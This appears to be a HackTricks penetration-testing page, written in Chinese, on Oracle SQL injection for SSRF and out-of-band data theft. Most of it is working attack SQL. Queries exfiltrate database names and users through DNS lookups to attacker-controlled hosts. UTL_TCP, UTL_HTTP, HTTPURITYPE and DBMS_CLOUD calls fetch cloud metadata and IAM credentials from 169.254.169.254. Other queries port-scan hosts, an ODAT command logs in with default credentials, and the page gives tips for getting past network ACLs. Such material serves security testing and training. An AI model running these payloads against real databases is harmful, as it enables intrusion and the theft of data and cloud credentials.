229 lines
11 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Oracle injection
{{#include ../../banners/hacktricks-training.md}}
**为这篇文章提供一个来自 [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) 的已删除文章的时光机副本**
## SSRF
使用 Oracle 进行带外 HTTP 和 DNS 请求的文档非常丰富,但作为在注入中提取 SQL 数据的一种手段。我们总是可以修改这些技术/函数以执行其他 SSRF/XSPA。
安装 Oracle 可能非常痛苦,特别是如果你想快速设置一个实例来尝试命令。我的朋友和同事在 [Appsecco](https://appsecco.com) 的 [Abhisek Datta](https://github.com/abhisek) 指向了 [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c),这让我能够在 t2.large AWS Ubuntu 机器和 Docker 上设置一个实例。
我使用 `--network="host"` 标志运行 docker 命令,以便在这篇博客文章的过程中模拟 Oracle 作为一个具有完全网络访问权限的本地安装。
```
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
```
#### 支持 URL 或主机/端口号规范的 Oracle 包 <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
为了找到支持主机和端口规范的任何包和函数,我在 [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html) 上进行了 Google 搜索。具体来说,
```
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
```
搜索返回了以下结果(并非所有结果都可以用于执行出站网络)
- DBMS_NETWORK_ACL_ADMIN
- UTL_SMTP
- DBMS_XDB
- DBMS_SCHEDULER
- DBMS_XDB_CONFIG
- DBMS_AQ
- UTL_MAIL
- DBMS_AQELM
- DBMS_NETWORK_ACL_UTILITY
- DBMS_MGD_ID_UTL
- UTL_TCP
- DBMS_MGWADM
- DBMS_STREAMS_ADM
- UTL_HTTP
这个粗略的搜索显然跳过了像 `DBMS_LDAP` 这样的包(它允许传递主机名和端口号),因为[文档页面](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360)只是将您指向[不同的位置](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360)。因此可能还有其他可以被滥用以进行出站请求的Oracle包我可能遗漏了。
无论如何,让我们看看我们发现并列出的某些包。
**DBMS_LDAP.INIT**
`DBMS_LDAP` 包允许访问LDAP服务器中的数据。`init()` 函数初始化与LDAP服务器的会话并将主机名和端口号作为参数。
这个函数之前已经被记录下来显示通过DNS进行数据外泄如下所示。
```
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
```
然而,由于该函数接受主机名和端口号作为参数,您可以利用这一点使其像端口扫描器一样工作。
以下是一些示例
```
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
```
`ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` 表示端口关闭,而会话值指向端口为开放状态。
**UTL_SMTP**
`UTL_SMTP` 包用于通过 SMTP 发送电子邮件。 [Oracle 文档网站上提供的示例展示了如何使用此包发送电子邮件](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478)。 然而,对我们来说,值得关注的是提供主机和端口规范的能力。
下面是一个粗略的示例,使用 `UTL_SMTP.OPEN_CONNECTION` 函数,超时为 2 秒。
```
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
```
```
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
```
`ORA-29276: transfer timeout` 表示端口开放但未建立 SMTP 连接,而 `ORA-29278: SMTP transient error: 421 Service not available` 表示端口关闭。
**UTL_TCP**
`UTL_TCP` 包及其过程和函数允许与服务进行 [基于 TCP/IP 的通信](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190)。如果为特定服务编程,此包可以轻松成为进入网络的途径或执行完整的服务器端请求,因为可以控制 TCP/IP 连接的所有方面。
Oracle 文档网站上的示例 [展示了如何使用此包建立原始 TCP 连接以获取网页](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190)。我们可以稍微简化一下,使用它向元数据实例或任意 TCP/IP 服务发出请求。
```
set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
```
```
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
```
有趣的是,由于能够构造原始 TCP 请求,这个包也可以用于查询所有云提供商的实例元数据服务,因为方法类型和附加头都可以在 TCP 请求中传递。
**UTL_HTTP 和 Web 请求**
也许在所有的离带 Oracle SQL 注入教程中,最常见和广泛记录的技术是 [`UTL_HTTP` package](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070)。文档中将这个包定义为 - `The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.`
```
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
```
您还可以使用此功能执行一些基本的端口扫描,例如使用以下查询:
```
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
```
`ORA-12541: TNS:no listener``TNS:operation timed out` 是 TCP 端口关闭的迹象,而 `ORA-29263: HTTP protocol error` 或数据则是端口开放的迹象。
我过去使用过的另一个包,成功率各异,是 [`GETCLOB()` 方法的 `HTTPURITYPE` Oracle 抽象类型](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705),它允许您与 URL 交互并支持 HTTP 协议。`GETCLOB()` 方法用于将 URL 的 GET 响应作为 [CLOB 数据类型](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html) 获取。
```
SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual;
```
---
## 额外的包和技术 (Oracle 19c → 23c)
### UTL_INADDR 基于DNS的外泄和主机发现
`UTL_INADDR` 提供简单的名称解析助手触发来自数据库主机的外部DNS查找。因为只需要一个域名不需要端口/ACL它在其他网络调用被阻止时是一个可靠的盲外泄原语。
```sql
-- Leak the DB name and current user via a DNS query handled by Burp Collaborator
SELECT UTL_INADDR.get_host_address(
(SELECT name FROM v$database)||'.'||(SELECT user FROM dual)||
'.attacker.oob.server') FROM dual;
```
`get_host_address()` 返回解析后的 IP如果解析失败则引发 `ORA-29257`)。攻击者只需监视受控域上的传入 DNS 请求以确认代码执行。
### DBMS_CLOUD.SEND_REQUEST Autonomous/23c 上的完整 HTTP 客户端
最近的云中心版本Autonomous Database, 21c/23c, 23ai附带 `DBMS_CLOUD``SEND_REQUEST` 函数充当通用 HTTP 客户端支持自定义动词、头部、TLS 和大体积数据,使其比经典的 `UTL_HTTP` 更强大。
```sql
-- Assuming the current user has CREATE CREDENTIAL and network ACL privileges
BEGIN
-- empty credential when no auth is required
DBMS_CLOUD.create_credential(
credential_name => 'NOAUTH',
username => 'ignored',
password => 'ignored');
END;
/
DECLARE
resp DBMS_CLOUD_TYPES.resp;
BEGIN
resp := DBMS_CLOUD.send_request(
credential_name => 'NOAUTH',
uri => 'http://169.254.169.254/latest/meta-data/',
method => 'GET',
timeout => 3);
dbms_output.put_line(DBMS_CLOUD.get_response_text(resp));
END;
/
```
因为 `SEND_REQUEST` 允许任意目标 URI因此可以通过 SQLi 滥用来:
1. 内部端口扫描 / SSRF 到云元数据服务。
2. 通过 HTTPS 进行带外数据泄露(使用 Burp Collaborator 或 `ngrok` 隧道)。
3. 即使在 ACL 禁用旧的回调包时,也可以回调攻击者服务器。
如果您只有经典的本地 19c但可以创建 Java 存储过程,您有时可以从 OCI 客户端包中安装 `DBMS_CLOUD` — 在某些参与中非常有用。
### 使用 **ODAT** 自动化攻击面
[ODAT Oracle Database Attacking Tool](https://github.com/quentinhardy/odat) 与现代版本保持同步(测试到 19c5.1.1 2022 年 4 月)。 `utl_http``utl_tcp``httpuritype` 和更新的 `dbms_cloud` 模块自动:
* 检测可用的回调包/ACL 授权。
* 触发 DNS 和 HTTP 回调以进行盲提取。
* 生成可供 Burp/SQLMap 复制的 SQL 有效负载。
示例:使用默认凭据快速进行 OOB 检查(在后台处理 ACL 枚举):
```bash
odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob
```
### 最近的网络 ACL 限制与绕过
Oracle 在 2023 年 7 月的 CPU 中收紧了默认的网络 ACL — 默认情况下,非特权账户现在会收到 `ORA-24247: network access denied by access control list`。 仍然有两种模式允许通过 SQLi 进行调用:
1. 目标账户拥有一个由开发人员为集成添加的 ACL 条目 (`DBMS_NETWORK_ACL_ADMIN.create_acl`)。
2. 攻击者利用一个具有高权限的 PL/SQL 定义者权限例程(例如,在自定义应用程序中),该例程 *已经* 具有 `AUTHID DEFINER` 和必要的授权。
如果在利用过程中遇到 `ORA-24247`,请始终搜索可重用的过程:
```sql
SELECT owner, object_name
FROM dba_objects
WHERE object_type = 'PROCEDURE'
AND authid = 'DEFINER';
```
(在许多审计中,至少有一个报告/导出程序具有所需的权限)。
---
## 参考
* Oracle 文档 `DBMS_CLOUD.SEND_REQUEST` 包描述和示例。
* quentinhardy/odat Oracle 数据库攻击工具(最新版本 5.1.12022年4月
{{#include ../../banners/hacktricks-training.md}}